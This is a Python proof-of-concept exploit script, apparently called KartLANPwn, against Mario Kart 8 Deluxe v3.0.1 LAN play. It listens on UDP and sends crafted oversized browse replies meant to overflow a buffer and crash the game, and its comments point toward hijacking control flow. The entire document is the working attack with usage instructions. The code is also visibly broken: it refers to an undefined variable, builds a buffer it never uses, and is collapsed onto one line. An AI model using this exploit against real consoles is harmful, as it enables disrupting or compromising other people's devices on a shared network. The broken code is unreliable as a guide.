#!/usr/bin/env python3 import os import sys import socket import struct import traceback BROADCAST_ADDR = ("0.0.0.0", 30000) REPLY_PKT_SIZE = 1024 # LAN reply packet type, size of room info, room info header, misc room info fields REPLY_INIT_MAGIC = b"\x01\x00\x00\x04\xf2\x00\x00\x00\x01\x01\x50\xC0" + (b"\x00" * 26) + b"\x01\x00\x02\x00\x0e\x02\x0d\x00\x00" # ?? # utils def fill_ba(bytearr, length): if type(bytearr) == bytes: bytearr = bytearray(bytearr) if len(bytearr) < length: bytearr.extend(b"\x00" * ( length - len(bytearr) )) return bytearr reply_buf_data = fill_ba(b"Hello!", 128) def craft_reply_packet(): out = bytearray(REPLY_INIT_MAGIC + reply_buf_data) overflowed_out = bytearray() # by +0x497ab8, r4 and r5 are popped to the values they were supposed to be, r6-r8 left in-tact # ^ ignore if you're already overflowing pc, you won't even reach this codepath in that case overflowed_out.extend(struct.pack("I", evil_length)) return bytes(fill_ba(out, REPLY_PKT_SIZE)) def main(): print("Hello from Latte Softworks! 🙂 https://latte.to") print(""" USAGE INSTRUCTIONS: • IMPORTANT: This PoC is intended only for Mario Kart 8 Deluxe v3.0.1, if you're on the latest version of the game, your install of MK8DX is not vulnerable to KartLANPwn • Ensure that your Switch is connected to the same network as this machine • See MK8DX LAN play instructions here: https://en-americas-support.nintendo.com/app/answers/detail/a_id/25961/~/how-to-use-the-lan-play-feature-of-mario-kart-8-deluxe • Upon opening the "LAN Play" menu with this script running, the game's process should crash. Hooray! """) print(f"Opening UDP socket @ {BROADCAST_ADDR}") server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) server.bind(BROADCAST_ADDR) # UDP socket listener loop while True: data, addr = server.recvfrom(1024) print(f"> RECV from {addr}") # "browse" search packets have a type id of 0 if data[0] == 0: print(f"Sending crafted browse reply to {addr}.. ", end="") server.sendto(craft_reply_packet(), addr) print("done!") if __name__ == "__main__": try: main() except KeyboardInterrupt: sys.exit(0)